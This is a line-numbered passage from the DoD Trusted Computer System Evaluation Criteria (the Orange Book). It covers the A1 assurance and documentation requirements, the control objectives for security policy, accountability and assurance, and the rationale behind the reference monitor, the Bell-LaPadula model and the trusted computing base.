  2688.                  authorization to do so) is able to cause the TCB to enter
  2689.                  a state such that it is unable to respond to
  2690.                  communications initiated by other users.  The TCB shall
  2691.                  be found resistant to penetration.  All discovered flaws
  2692.                  shall be corrected and the TCB retested to demonstrate
  2693.                  that they have been eliminated and that new flaws have
  2694.                  not been introduced.  Testing shall demonstrate that the
  2695.                  TCB implementation is consistent with the FORMAL top-
  2696.                  level specification.  (See the Security Testing
  2697.                  Guidelines.)  No design flaws and no more than a few
  2698.                  correctable implementation flaws may be found during
  2699.                  testing and there shall be reasonable confidence that few
  2700.                  remain.  MANUAL OR OTHER MAPPING OF THE FTLS TO THE
  2701.                  SOURCE CODE MAY FORM A BASIS FOR PENETRATION TESTING.
  2702.  
  2703.         4.1.3.2.2  Design Specification and Verification
  2704.  
  2705.                  A formal model of the security policy supported by the
  2706.                  TCB shall be maintained that is proven consistent with
  2707.                  its axioms.  A descriptive top-level specification (DTLS)
  2708.                  of the TCB shall be maintained that completely and
  2709.                  accurately describes the TCB in terms of exceptions, error
  2710.                  messages, and effects.  A FORMAL TOP-LEVEL SPECIFICATION
  2711.                  (FTLS) OF THE TCB SHALL BE MAINTAINED THAT ACCURATELY
  2712.                  DESCRIBES THE TCB IN TERMS OF EXCEPTIONS, ERROR MESSAGES,
  2713.                  AND EFFECTS.  THE DTLS AND FTLS SHALL INCLUDE THOSE
  2714.                  COMPONENTS OF THE TCB THAT ARE IMPLEMENTED AS HARDWARE
  2715.                  AND/OR FIRMWARE IF THEIR PROPERTIES ARE VISIBLE AT THE
  2716.                  TCB INTERFACE.  THE FTLS shall be shown to be an accurate
  2717.                  description of the TCB interface.  A convincing argument
  2718.                  shall be given that the DTLS is consistent with the model
  2719.                  AND A COMBINATION OF FORMAL AND INFORMAL TECHNIQUES SHALL
  2720.                  BE USED TO SHOW THAT THE FTLS IS CONSISTENT WITH THE
  2721.                  MODEL.  THIS VERIFICATION EVIDENCE SHALL BE CONSISTENT
  2722.                  WITH THAT PROVIDED WITHIN THE STATE-OF-THE-ART OF THE
  2723.                  PARTICULAR COMPUTER SECURITY CENTER-ENDORSED FORMAL
  2724.                  SPECIFICATION AND VERIFICATION SYSTEM USED.  MANUAL OR
  2725.                  OTHER MAPPING OF THE FTLS TO THE TCB SOURCE CODE SHALL BE
  2726.                  PERFORMED TO PROVIDE EVIDENCE OF CORRECT IMPLEMENTATION.
  2727.  
  2728.         4.1.3.2.3  Configuration Management
  2729.  
  2730.                  During THE ENTIRE LIFE-CYCLE, I.E., DURING THE DESIGN,
  2731.                  DEVELOPMENT, and maintenance of the TCB, a configuration
  2732.                  management system shall be in place FOR ALL SECURITY-
  2733.                  RELEVANT HARDWARE, FIRMWARE, AND SOFTWARE that maintains
  2734.                  control of changes to THE FORMAL MODEL, the descriptive
  2735.                  AND FORMAL top-level SPECIFICATIONS, other design data,
  2736.                  implementation documentation, source code, the running
  2737.                  version of the object code, and test fixtures and
  2738.                  documentation.  The configuration management system shall
  2739.                  assure a consistent mapping among all documentation and
  2740.                  code associated with the current version of the TCB.
  2741.                  Tools shall be provided for generation of a new version
  2742.                  of the TCB from source code.  Also available shall be
  2743.                  tools, MAINTAINED UNDER STRICT CONFIGURATION CONTROL, for
  2744.                  comparing a newly generated version with the previous TCB
  2745.                  version in order to ascertain that only the intended
  2746.                  changes have been made in the code that will actually be
  2747.                  used as the new version of the TCB.  A COMBINATION OF
  2748.                  TECHNICAL, PHYSICAL, AND PROCEDURAL SAFEGUARDS SHALL BE
  2749.                  USED TO PROTECT FROM UNAUTHORIZED MODIFICATION OR
  2750.                  DESTRUCTION THE MASTER COPY OR COPIES OF ALL MATERIAL
  2751.                  USED TO GENERATE THE TCB.
  2752.  
  2753.         4.1.3.2.4  Trusted Distribution
  2754.  
  2755.                  A TRUSTED ADP SYSTEM CONTROL AND DISTRIBUTION FACILITY
  2756.                  SHALL BE PROVIDED FOR MAINTAINING THE INTEGRITY OF THE
  2757.                  MAPPING BETWEEN THE MASTER DATA DESCRIBING THE CURRENT
  2758.                  VERSION OF THE TCB AND THE ON-SITE MASTER COPY OF THE
  2759.                  CODE FOR THE CURRENT VERSION.  PROCEDURES (E.G., SITE
  2760.                  SECURITY ACCEPTANCE TESTING) SHALL EXIST FOR ASSURING
  2761.                  THAT THE TCB SOFTWARE, FIRMWARE, AND HARDWARE UPDATES
  2762.                  DISTRIBUTED TO A CUSTOMER ARE EXACTLY AS SPECIFIED BY
  2763.                  THE MASTER COPIES.
  2764.  
  2765. 4.1.4  DOCUMENTATION
  2766.  
  2767.      4.1.4.1   Security Features User's Guide
  2768.  
  2769.              A single summary, chapter, or manual in user documentation
  2770.              shall describe the protection mechanisms provided by the TCB,
  2771.              guidelines on their use, and how they interact with one another.
  2772.  
  2773.      4.1.4.2   Trusted Facility Manual
  2774.  
  2775.                A manual addressed to the ADP system administrator shall
  2776.              present cautions about functions and privileges that should be
  2777.              controlled when running a secure facility.  The procedures for
  2778.              examining and maintaining the audit files as well as the
  2779.              detailed audit record structure for each type of audit event
  2780.              shall be given.  The manual shall describe the operator and
  2781.              administrator functions related to security, to include
  2782.              changing the security characteristics of a user.  It shall
  2783.              provide guidelines on the consistent and effective use of the
  2784.              protection features of the system, how they interact, how to
  2785.              securely generate a new TCB, and facility procedures, warnings,
  2786.              and privileges that need to be controlled in order to operate
  2787.              the facility in a secure manner.  The TCB modules that contain
  2788.              the reference validation mechanism shall be identified.  The
  2789.              procedures for secure generation of a new TCB from source after
  2790.              modification of any modules in the TCB shall be described.  It
  2791.              shall include the procedures to ensure that the system is
  2792.              initially started in a secure manner.  Procedures shall also be
  2793.              included to resume secure system operation after any lapse in
  2794.              system operation.
  2795.  
  2796.      4.1.4.3   Test Documentation
  2797.  
  2798.              The system developer shall provide to the evaluators a document
  2799.              that describes the test plan and results of the security
  2800.              mechanisms' functional testing.  It shall include results of
  2801.              testing the effectiveness of the methods used to reduce covert
  2802.              channel bandwidths.  THE RESULTS OF THE MAPPING BETWEEN THE
  2803.              FORMAL TOP-LEVEL SPECIFICATION AND THE TCB SOURCE CODE SHALL BE
  2804.              GIVEN.
  2805.  
  2806.      4.1.4.4   Design Documentation
  2807.  
  2808.              Documentation shall be available that provides a description of
  2809.              the manufacturer's philosophy of protection and an explanation
  2810.              of how this philosophy is translated into the TCB.  The
  2811.              interfaces between the TCB modules shall be described.  A
  2812.              formal description of the security policy model enforced by the
  2813.              TCB shall be available and proven that it is sufficient to
  2814.              enforce the security policy.  The specific TCB protection
  2815.              mechanisms shall be identified and an explanation given to show
  2816.              that they satisfy the model.  The descriptive top-level
  2817.              specification (DTLS) shall be shown to be an accurate
  2818.              description of the TCB interface.  Documentation shall describe
  2819.              how the TCB implements the reference monitor concept and give
  2820.              an explanation why it is tamperproof, cannot be bypassed, and
  2821.              is correctly implemented.  The TCB implementation (i.e., in
  2822.              hardware, firmware, and software) shall be informally shown to
  2823.              be consistent with the FORMAL TOP- LEVEL SPECIFICATION (FTLS).
  2824.              The elements of the FTLS shall be shown, using informal
  2825.              techniques, to correspond to the elements of the TCB.
  2826.              Documentation shall describe how the TCB is structured to
  2827.              facilitate testing and to enforce least privilege.  This
  2828.              documentation shall also present the results of the covert
  2829.              channel analysis and the tradeoffs involved in restricting the
  2830.              channels.  All auditable events that may be used in the
  2831.              exploitation of known covert storage channels shall be
  2832.              identified.  The bandwidths of known covert storage channels,
  2833.              the use of which is not detectable by the auditing mechanisms,
  2834.              shall be provided.  (See the Covert Channel Guideline section.)
  2835.              HARDWARE, FIRMWARE, AND SOFTWARE MECHANISMS NOT DEALT WITH IN
  2836.              THE FTLS BUT STRICTLY INTERNAL TO THE TCB (E.G., MAPPING
  2837.              REGISTERS, DIRECT MEMORY ACCESS I/O) SHALL BE CLEARLY DESCRIBED.
  2838.  
  2839. 4.2  BEYOND CLASS (A1)
  2840.  
  2841. Most of the security enhancements envisioned for systems that will provide
  2842. features and assurance in addition to that already provided by class (Al)
  2843. systems are beyond current technology.  The discussion below is intended to
  2844. guide future work and is derived from research and development activities
  2845. already underway in both the public and private sectors.  As more and better
  2846. analysis techniques are developed, the requirements for these systems will
  2847. become more explicit.  In the future, use of formal verification will be
  2848. extended to the source level and covert timing channels will be more fully
  2849. addressed.  At this level the design environment will become important and
  2850. testing will be aided by analysis of the formal top-level specification.
  2851. Consideration will be given to the correctness of the tools used in TCB
  2852. development (e.g., compilers, assemblers, loaders) and to the correct
  2853. functioning of the hardware/firmware on which the TCB will run.  Areas to be
  2854. addressed by systems beyond class (A1) include:
  2855.  
  2856.            * System Architecture
  2857.  
  2858.            A demonstration (formal or otherwise) must be given showing
  2859.            that requirements of self-protection and completeness for
  2860.            reference monitors have been implemented in the TCB.
  2861.  
  2862.            * Security Testing
  2863.  
  2864.            Although beyond the current state-of-the-art, it is
  2865.            envisioned that some test-case generation will be done
  2866.            automatically from the formal top-level specification or
  2867.            formal lower-level specifications.
  2868.  
  2869.            * Formal Specification and Verification
  2870.  
  2871.            The TCB must be verified down to the source code level,
  2872.            using formal verification methods where feasible.  Formal
  2873.            verification of the source code of the security-relevant
  2874.            portions of an operating system has proven to be a difficult
  2875.            task.  Two important considerations are the choice of a
  2876.            high-level language whose semantics can be fully and
  2877.            formally expressed, and a careful mapping, through
  2878.            successive stages, of the abstract formal design to a
  2879.            formalization of the implementation in low-level
  2880.            specifications.    Experience has shown that only when the
  2881.            lowest level specifications closely correspond to the actual
  2882.            code can code proofs be successfully accomplished.
  2883.  
  2884.            * Trusted Design Environment
  2885.  
  2886.            The TCB must be designed in a trusted facility with only
  2887.          trusted (cleared) personnel.
  2888.  
  2889.  
  2890.  
  2891.  
  2892.                                PART II:
  2893.  
  2894.  
  2895. 5.0  CONTROL OBJECTIVES FOR TRUSTED COMPUTER SYSTEMS
  2896.  
  2897. The criteria are divided within each class into groups of requirements.  These
  2898. groupings were developed to assure that three basic control objectives for
  2899. computer security are satisfied and not overlooked.  These control objectives
  2900. deal with:
  2901.  
  2902.                       * Security Policy
  2903.                       * Accountability
  2904.                       * Assurance
  2905.  
  2906. This section provides a discussion of these general control objectives and
  2907. their implication in terms of designing trusted systems.
  2908.  
  2909. 5.1  A Need for Consensus
  2910.  
  2911. A major goal of the DoD Computer Security Center is to encourage the Computer
  2912. Industry to develop trusted computer systems and products, making them widely
  2913. available in the commercial market place.  Achievement of this goal will
  2914. require recognition and articulation by both the public and private sectors of
  2915. a need and demand for such products.
  2916.  
  2917. As described in the introduction to this document, efforts to define the
  2918. problems and develop solutions associated with processing nationally sensitive
  2919. information, as well as other sensitive data such as financial, medical, and
  2920. personnel information used by the National Security Establishment, have been
  2921. underway for a number of years.  The criteria, as described in Part I,
  2922. represent the culmination of these efforts and describe basic requirements for
  2923. building trusted computer systems.  To date, however, these systems have been
  2924. viewed by many as only satisfying National Security needs.  As long as this
  2925. perception continues the consensus needed to motivate manufacture of trusted
  2926. systems will be lacking.
  2927.  
  2928. The purpose of this section is to describe, in some detail, the fundamental
  2929. control objectives that lay the foundations for requirements delineated in the
  2930. criteria.  The goal is to explain the foundations so that those outside the
  2931. National Security Establishment can assess their universality and, by
  2932. extension, the universal applicability of the criteria requirements to
  2933. processing all types of sensitive applications whether they be for National
  2934. Security or the private sector.
  2935.  
  2936. 5.2  Definition and Usefulness
  2937.  
  2938. The term "control objective" refers to a statement of intent with respect to
  2939. control over some aspect of an organization's resources, or processes, or
  2940. both.  In terms of a computer system, control objectives provide a framework
  2941. for developing a strategy for fulfilling a set of security requirements for
  2942. any given system.  Developed in response to generic vulnerabilities, such as
  2943. the need to manage and handle sensitive data in order to prevent compromise,
  2944. or the need to provide accountability in order to detect fraud, control
  2945. objectives have been identified as a useful method of expressing security
  2946. goals.[3]
  2947.  
  2948. Examples of control objectives include the three basic design requirements for
  2949. implementing the reference monitor concept discussed in Section 6.  They are:
  2950.  
  2951.         * The reference validation mechanism must be tamperproof.
  2952.  
  2953.         * The reference validation mechanism must always be invoked.
  2954.  
  2955.         * The reference validation mechanism must be small enough to be
  2956.           subjected to analysis and tests, the completeness of which can
  2957.           be assured.[1]
  2958.  
  2959. 5.3  Criteria Control Objectives
  2960.  
  2961. The three basic control objectives of the criteria are concerned with security
  2962. policy, accountability, and assurance.  The remainder of this section provides
  2963. a discussion of these basic requirements.
  2964.  
  2965.      5.3.1  Security Policy
  2966.  
  2967.           In the most general sense, computer security is concerned with
  2968.           controlling the way in which a computer can be used, i.e.,
  2969.           controlling how information processed by it can be accessed and
  2970.           manipulated.  However, at closer examination, computer security
  2971.           can refer to a number of areas.  Symptomatic of this, FIPS PUB 39,
  2972.           Glossary For Computer Systems Security, does not have a unique
  2973.           definition for computer security.[16]  Instead there are eleven
  2974.           separate definitions for security which include: ADP systems
  2975.           security, administrative security, data security, etc.  A common
  2976.           thread running through these definitions is the word "protection."
  2977.           Further declarations of protection requirements can be found in
  2978.           DoD Directive 5200.28 which describes an acceptable level of
  2979.           protection for classified data to be one that will "assure that
  2980.           systems which process, store, or use classified data and produce
  2981.           classified information will, with reasonable dependability,
  2982.           prevent: a. Deliberate or inadvertent access to classified
  2983.           material by unauthorized persons, and b.  Unauthorized
  2984.           manipulation of the computer and its associated peripheral
  2985.           devices."[8]
  2986.  
  2987.           In summary, protection requirements must be defined in terms of
  2988.           the perceived threats, risks, and goals of an organization.  This
  2989.           is often stated in terms of a security policy.  It has been
  2990.           pointed out in the literature that it is external laws, rules,
  2991.           regulations, etc.  that establish what access to information is to
  2992.           be permitted, independent of the use of a computer.  In particular,
  2993.           a given system can only be said to be secure with respect to its
  2994.           enforcement of some specific policy.[30]  Thus, the control
  2995.           objective for security policy is:
  2996.  
  2997.           SECURITY POLICY CONTROL OBJECTIVE
  2998.  
  2999.           A STATEMENT OF INTENT WITH REGARD TO CONTROL OVER ACCESS TO AND
  3000.           DISSEMINATION OF INFORMATION, TO BE KNOWN AS THE SECURITY POLICY,
  3001.           MUST BE PRECISELY DEFINED AND IMPLEMENTED FOR EACH SYSTEM THAT IS
  3002.           USED TO PROCESS SENSITIVE INFORMATION.  THE SECURITY POLICY MUST
  3003.           ACCURATELY REFLECT THE LAWS, REGULATIONS, AND GENERAL POLICIES
  3004.           FROM WHICH IT IS DERIVED.
  3005.  
  3006.         5.3.1.1  Mandatory Security Policy
  3007.                  Where a security policy is developed that is to be applied
  3008.                  to control of classified or other specifically designated
  3009.                  sensitive information, the policy must include detailed
  3010.                  rules on how to handle that information throughout its
  3011.                  life-cycle.  These rules are a function of the various
  3012.                  sensitivity designations that the information can assume
  3013.                  and the various forms of access supported by the system.
  3014.                  Mandatory security refers to the enforcement of a set of
  3015.                  access control rules that constrains a subject's access to
  3016.                  information on the basis of a comparison of that
  3017.                  individual's clearance/authorization to the information,
  3018.                  the classification/sensitivity designation of the
  3019.                  information, and the form of access being mediated.
  3020.                  Mandatory policies either require or can be satisfied by
  3021.                  systems that can enforce a partial ordering of
  3022.                  designations, namely, the designations must form what is
  3023.                  mathematically known as a "lattice."[5]
  3024.  
  3025.                  A clear implication of the above is that the system must
  3026.                  assure that the designations associated with sensitive data
  3027.                  cannot be arbitrarily changed, since this could permit
  3028.                  individuals who lack the appropriate authorization to
  3029.                  access sensitive information.  Also implied is the
  3030.                  requirement that the system control the flow of information
  3031.                  so that data cannot be stored with lower sensitivity
  3032.                  designations unless its "downgrading" has been authorized.
  3033.                  The control objective is:
  3034.  
  3035.                  MANDATORY SECURITY CONTROL OBJECTIVE
  3036.  
  3037.                  SECURITY POLICIES DEFINED FOR SYSTEMS THAT ARE USED TO
  3038.                  PROCESS CLASSIFIED OR OTHER SPECIFICALLY CATEGORIZED
  3039.                  SENSITIVE INFORMATION MUST INCLUDE PROVISIONS FOR THE
  3040.                  ENFORCEMENT OF MANDATORY ACCESS CONTROL RULES.  THAT IS,
  3041.                  THEY MUST INCLUDE A SET OF RULES FOR CONTROLLING ACCESS
  3042.                  BASED DIRECTLY ON A COMPARISON OF THE INDIVIDUAL'S
  3043.                  CLEARANCE OR AUTHORIZATION FOR THE INFORMATION AND THE
  3044.                  CLASSIFICATION OR SENSITIVITY DESIGNATION OF THE
  3045.                  INFORMATION BEING SOUGHT, AND INDIRECTLY ON CONSIDERATIONS
  3046.                  OF PHYSICAL AND OTHER ENVIRONMENTAL FACTORS OF CONTROL.
  3047.                  THE MANDATORY ACCESS CONTROL RULES MUST ACCURATELY REFLECT
  3048.                  THE LAWS, REGULATIONS, AND GENERAL POLICIES FROM WHICH
  3049.                  THEY ARE DERIVED.
  3050.  
  3051.         5.3.1.2  Discretionary Security Policy
  3052.  
  3053.                  Discretionary security is the principal type of access
  3054.                  control available in computer systems today.  The basis of
  3055.                  this kind of security is that an individual user, or
  3056.                  program operating on his behalf, is allowed to specify
  3057.                  explicitly the types of access other users may have to
  3058.                  information under his control.  Discretionary security
  3059.                  differs from mandatory security in that it implements an
  3060.                  access control policy on the basis of an individual's
  3061.                  need-to-know as opposed to mandatory controls which are
  3062.                  driven by the classification or sensitivity designation of
  3063.                  the information.
  3064.  
  3065.                  Discretionary controls are not a replacement for mandatory
  3066.                  controls.  In an environment in which information is
  3067.                  classified (as in the DoD) discretionary security provides
  3068.                  for a finer granularity of control within the overall
  3069.                  constraints of the mandatory policy.  Access to classified
  3070.                  information requires effective implementation of both types
  3071.                  of controls as precondition to granting that access.  In
  3072.                  general, no person may have access to classified
  3073.                  information unless: (a) that person has been determined to
  3074.                  be trustworthy, i.e., granted a personnel security
  3075.                  clearance -- MANDATORY, and (b) access is necessary for the
  3076.                  performance of official duties, i.e., determined to have a
  3077.                  need-to-know -- DISCRETIONARY.  In other words,
  3078.                  discretionary controls give individuals discretion to
  3079.                  decide on which of the permissible accesses will actually
  3080.                  be allowed to which users, consistent with overriding
  3081.                  mandatory policy restrictions.  The control objective is:
  3082.  
  3083.                  DISCRETIONARY SECURITY CONTROL OBJECTIVE
  3084.  
  3085.                  SECURITY POLICIES DEFINED FOR SYSTEMS THAT ARE USED TO
  3086.                  PROCESS CLASSIFIED OR OTHER SENSITIVE INFORMATION MUST
  3087.                  INCLUDE PROVISIONS FOR THE ENFORCEMENT OF DISCRETIONARY
  3088.                  ACCESS CONTROL RULES.  THAT IS, THEY MUST INCLUDE A
  3089.                  CONSISTENT SET OF RULES FOR CONTROLLING AND LIMITING ACCESS
  3090.                  BASED ON IDENTIFIED INDIVIDUALS WHO HAVE BEEN DETERMINED TO
  3091.                  HAVE A NEED-TO-KNOW FOR THE INFORMATION.
  3092.  
  3093.         5.3.1.3  Marking
  3094.  
  3095.                  To implement a set of mechanisms that will put into effect
  3096.                  a mandatory security policy, it is necessary that the
  3097.                  system mark information with appropriate classification or
  3098.                  sensitivity labels and maintain these markings as the
  3099.                  information moves through the system.  Once information is
  3100.                  unalterably and accurately marked, comparisons required by
  3101.                  the mandatory access control rules can be accurately and
  3102.                  consistently made.  An additional benefit of having the
  3103.                  system maintain the classification or sensitivity label
  3104.                  internally is the ability to automatically generate
  3105.                  properly "labeled" output.  The labels, if accurately and
  3106.                  integrally maintained by the system, remain accurate when
  3107.                  output from the system.  The control objective is:
  3108.  
  3109.                  MARKING CONTROL OBJECTIVE
  3110.  
  3111.                  SYSTEMS THAT ARE DESIGNED TO ENFORCE A MANDATORY SECURITY
  3112.                  POLICY MUST STORE AND PRESERVE THE INTEGRITY OF
  3113.                  CLASSIFICATION OR OTHER SENSITIVITY LABELS FOR ALL
  3114.                  INFORMATION.  LABELS EXPORTED FROM THE SYSTEM MUST BE
  3115.                  ACCURATE REPRESENTATIONS OF THE CORRESPONDING INTERNAL
  3116.                  SENSITIVITY LABELS BEING EXPORTED.
  3117.  
  3118.      5.3.2  Accountability
  3119.  
  3120.           The second basic control objective addresses one of the
  3121.           fundamental principles of security, i.e., individual
  3122.           accountability.  Individual accountability is the key to securing
  3123.           and controlling any system that processes information on behalf
  3124.           of individuals or groups of individuals.  A number of requirements
  3125.           must be met in order to satisfy this objective.
  3126.  
  3127.           The first requirement is for individual user identification.
  3128.           Second, there is a need for authentication of the identification.
  3129.           Identification is functionally dependent on authentication.
  3130.           Without authentication, user identification has no credibility.
  3131.           Without a credible identity, neither mandatory nor discretionary
  3132.           security policies can be properly invoked because there is no
  3133.           assurance that proper authorizations can be made.
  3134.  
  3135.           The third requirement is for dependable audit capabilities.  That
  3136.           is, a trusted computer system must provide authorized personnel
  3137.           with the ability to audit any action that can potentially cause
  3138.           access to, generation of, or effect the release of classified or
  3139.           sensitive information.  The audit data will be selectively
  3140.           acquired based on the auditing needs of a particular installation
  3141.           and/or application.  However, there must be sufficient granularity
  3142.           in the audit data to support tracing the auditable events to a
  3143.           specific individual who has taken the actions or on whose behalf
  3144.           the actions were taken.  The control objective is:
  3145.  
  3146.           ACCOUNTABILITY CONTROL OBJECTIVE
  3147.  
  3148.           SYSTEMS THAT ARE USED TO PROCESS OR HANDLE CLASSIFIED OR OTHER
  3149.           SENSITIVE INFORMATION MUST ASSURE INDIVIDUAL ACCOUNTABILITY
  3150.           WHENEVER EITHER A MANDATORY OR DISCRETIONARY SECURITY POLICY IS
  3151.           INVOKED.  FURTHERMORE, TO ASSURE ACCOUNTABILITY THE CAPABILITY
  3152.           MUST EXIST FOR AN AUTHORIZED AND COMPETENT AGENT TO ACCESS AND
  3153.           EVALUATE ACCOUNTABILITY INFORMATION BY A SECURE MEANS, WITHIN A
  3154.           REASONABLE AMOUNT OF TIME, AND WITHOUT UNDUE DIFFICULTY.
  3155.  
  3156.      5.3.3  Assurance
  3157.  
  3158.           The third basic control objective is concerned with guaranteeing
  3159.           or providing confidence that the security policy has been
  3160.           implemented correctly and that the protection-relevant elements of
  3161.           the system do, indeed, accurately mediate and enforce the intent
  3162.           of that policy.  By extension, assurance must include a guarantee
  3163.           that the trusted portion of the system works only as intended.  To
  3164.           accomplish these objectives, two types of assurance are needed.
  3165.           They are life-cycle assurance and operational assurance.
  3166.  
  3167.           Life-cycle assurance refers to steps taken by an organization to
  3168.           ensure that the system is designed, developed, and maintained
  3169.           using formalized and rigorous controls and standards.[17]
  3170.           Computer systems that process and store sensitive or classified
  3171.           information depend on the hardware and software to protect that
  3172.           information.  It follows that the hardware and software themselves
  3173.           must be protected against unauthorized changes that could cause
  3174.           protection mechanisms to malfunction or be bypassed completely.
  3175.           For this reason trusted computer systems must be carefully
  3176.           evaluated and tested during the design and development phases and
  3177.           reevaluated whenever changes are made that could affect the
  3178.           integrity of the protection mechanisms.  Only in this way can
  3179.           confidence be provided that the hardware and software
  3180.           interpretation of the security policy is maintained accurately
  3181.           and without distortion.
  3182.  
  3183.           While life-cycle assurance is concerned with procedures for
  3184.           managing system design, development, and maintenance; operational
  3185.           assurance focuses on features and system architecture used to
  3186.           ensure that the security policy is uncircumventably enforced
  3187.           during system operation.  That is, the security policy must be
  3188.           integrated into the hardware and software protection features of
  3189.           the system.  Examples of steps taken to provide this kind of
  3190.           confidence include: methods for testing the operational hardware
  3191.           and software for correct operation, isolation of protection-
  3192.           critical code, and the use of hardware and software to provide
  3193.           distinct domains.  The control objective is:
  3194.  
  3195.           ASSURANCE CONTROL OBJECTIVE
  3196.  
  3197.           SYSTEMS THAT ARE USED TO PROCESS OR HANDLE CLASSIFIED OR OTHER
  3198.           SENSITIVE INFORMATION MUST BE DESIGNED TO GUARANTEE CORRECT AND
  3199.           ACCURATE INTERPRETATION OF THE SECURITY POLICY AND MUST NOT
  3200.           DISTORT THE INTENT OF THAT POLICY.  ASSURANCE MUST BE PROVIDED
  3201.           THAT CORRECT IMPLEMENTATION AND OPERATION OF THE POLICY EXISTS
  3202.           THROUGHOUT THE SYSTEM'S LIFE-CYCLE.
  3203.  
  3204.  
  3205. 6.0 RATIONALE BEHIND THE EVALUATION CLASSES
  3206.  
  3207. 6.1  The Reference Monitor Concept
  3208.  
  3209. In October of 1972, the Computer Security Technology Planning Study, conducted
  3210. by James P.  Anderson & Co., produced a report for the Electronic Systems
  3211. Division (ESD) of the United States Air Force.[1]  In that report, the concept
  3212. of "a reference monitor which enforces the authorized access relationships
  3213. between subjects and objects of a system" was introduced.  The reference
  3214. monitor concept was found to be an essential element of any system that would
  3215. provide multilevel secure computing facilities and controls.
  3216.  
  3217. The Anderson report went on to define the reference validation mechanism as
  3218. "an implementation of the reference monitor concept .  .  .  that validates
  3219. each reference to data or programs by any user (program) against a list of
  3220. authorized types of reference for that user." It then listed the three design
  3221. requirements that must be met by a reference validation mechanism:
  3222.  
  3223.         a. The reference validation mechanism must be tamper proof.
  3224.  
  3225.         b. The reference validation mechanism must always be invoked.
  3226.  
  3227.         c. The reference validation mechanism must be small enough to be
  3228.            subject to analysis and tests, the completeness of which can
  3229.            be assured."[1]
  3230.  
  3231. Extensive peer review and continuing research and development activities have
  3232. sustained the validity of the Anderson Committee's findings.  Early examples
  3233. of the reference validation mechanism were known as security kernels.  The
  3234. Anderson Report described the security kernel as "that combination of hardware
  3235. and software which implements the reference monitor concept."[1]  In this vein,
  3236. it will be noted that the security kernel must support the three reference
  3237. monitor requirements listed above.
  3238.  
  3239. 6.2  A Formal Security Policy Model
  3240.  
  3241. Following the publication of the Anderson report, considerable research was
  3242. initiated into formal models of security policy requirements and of the
  3243. mechanisms that would implement and enforce those policy models as a security
  3244. kernel.  Prominent among these efforts was the ESD-sponsored development of
  3245. the Bell and LaPadula model, an abstract formal treatment of DoD security
  3246. policy.[2]  Using mathematics and set theory, the model precisely defines the
  3247. notion of secure state, fundamental modes of access, and the rules for
  3248. granting subjects specific modes of access to objects.  Finally, a theorem is
  3249. proven to demonstrate that the rules are security-preserving operations, so
  3250. that the application of any sequence of the rules to a system that is in a
  3251. secure state will result in the system entering a new state that is also
  3252. secure.  This theorem is known as the Basic Security Theorem.
  3253.  
  3254. The Bell and LaPadula model defines a relationship between clearances of
  3255. subjects and classifications of system objects, now referenced as the
  3256. "dominance relation." From this definition, accesses permitted between
  3257. subjects and objects are explicitly defined for the fundamental modes of
  3258. access, including read-only access, read/write access, and write-only access.
  3259. The model defines the Simple Security Condition to control granting a subject
  3260. read access to a specific object, and the *-Property (read "Star Property") to
  3261. control granting a subject write access to a specific object.  Both the Simple
  3262. Security Condition and the *-Property include mandatory security provisions
  3263. based on the dominance relation between the clearance of the subject and the
  3264. classification of the object.  The Discretionary Security Property is also
  3265. defined, and requires that a specific subject be authorized for the particular
  3266. mode of access required for the state transition.  In its treatment of
  3267. subjects (processes acting on behalf of a user), the model distinguishes
  3268. between trusted subjects (i.e., not constrained within the model by the
  3269. *-Property) and untrusted subjects (those that are constrained by the
  3270. *-Property).
  3271.  
  3272. >From the Bell and LaPadula model there evolved a model of the method of proof
  3273. required to formally demonstrate that all arbitrary sequences of state
  3274. transitions are security-preserving.  It was also shown that the *- Property
  3275. is sufficient to prevent the compromise of information by Trojan Horse
  3276. attacks.
  3277.  
  3278. 6.3  The Trusted Computing Base
  3279.  
  3280. In order to encourage the widespread commercial availability of trusted
  3281. computer systems, these evaluation criteria have been designed to address
  3282. those systems in which a security kernel is specifically implemented as well
  3283. as those in which a security kernel has not been implemented.  The latter case
  3284. includes those systems in which objective (c) is not fully supported because
  3285. of the size or complexity of the reference validation mechanism.  For
  3286. convenience, these evaluation criteria use the term Trusted Computing Base to
  3287. refer to the reference validation mechanism, be it a security kernel,
  3288. front-end security filter, or the entire trusted computer system.
  3289.  
  3290. The heart of a trusted computer system is the Trusted Computing Base (TCB)
  3291. which contains all of the elements of the system responsible for supporting
  3292. the security policy and supporting the isolation of objects (code and data) on
  3293. which the protection is based.  The bounds of the TCB equate to the "security
  3294. perimeter" referenced in some computer security literature.  In the interest
  3295. of understandable and maintainable protection, a TCB should be as simple as
  3296. possible consistent with the functions it has to perform.  Thus, the TCB
  3297. includes hardware, firmware, and software critical to protection and must be
  3298. designed and implemented such that system elements excluded from it need not
  3299. be trusted to maintain protection.  Identification of the interface and
  3300. elements of the TCB along with their correct functionality therefore forms the
  3301. basis for evaluation.
  3302.  
  3303. For general-purpose systems, the TCB will include key elements of the
  3304. operating system and may include all of the operating system.  For embedded
  3305. systems, the security policy may deal with objects in a way that is meaningful
  3306. at the application level rather than at the operating system level.  Thus, the
  3307. protection policy may be enforced in the application software rather than in
  3308. the underlying operating system.  The TCB will necessarily include all those
  3309. portions of the operating system and application software essential to the
  3310. support of the policy.  Note that, as the amount of code in the TCB increases,
  3311. it becomes harder to be confident that the TCB enforces the reference monitor
  3312. requirements under all circumstances.
  3313.  
  3314. 6.4  Assurance
  3315.  
  3316. The third reference monitor design objective is currently interpreted as
  3317. meaning that the TCB "must be of sufficiently simple organization and
  3318. complexity to be subjected to analysis and tests, the completeness of which
  3319. can be assured."
  3320.  
  3321. Clearly, as the perceived degree of risk increases (e.g., the range of
  3322. sensitivity of the system's protected data, along with the range of clearances
  3323. held by the system's user population) for a particular system's operational
  3324. application and environment, so also must the assurances be increased to
  3325. substantiate the degree of trust that will be placed in the system.  The
  3326. hierarchy of requirements that are presented for the evaluation classes in the
  3327. trusted computer system evaluation criteria reflect the need for these
  3328. assurances.
  3329.  
  3330. As discussed in Section 5.3, the evaluation criteria uniformly require a
  3331. statement of the security policy that is enforced by each trusted computer
  3332. system.  In addition, it is required that a convincing argument be presented
  3333. that explains why the TCB satisfies the first two design requirements for a
  3334. reference monitor.  It is not expected that this argument will be entirely
  3335. formal.  This argument is required for each candidate system in order to
  3336. satisfy the assurance control objective.
  3337.  
  3338. The systems to which security enforcement mechanisms have been added, rather
  3339. than built-in as fundamental design objectives, are not readily amenable to
  3340. extensive analysis since they lack the requisite conceptual simplicity of a
  3341. security kernel.  This is because their TCB extends to cover much of the
  3342. entire system.  Hence, their degree of trustworthiness can best be ascertained
  3343. only by obtaining test results.  Since no test procedure for something as
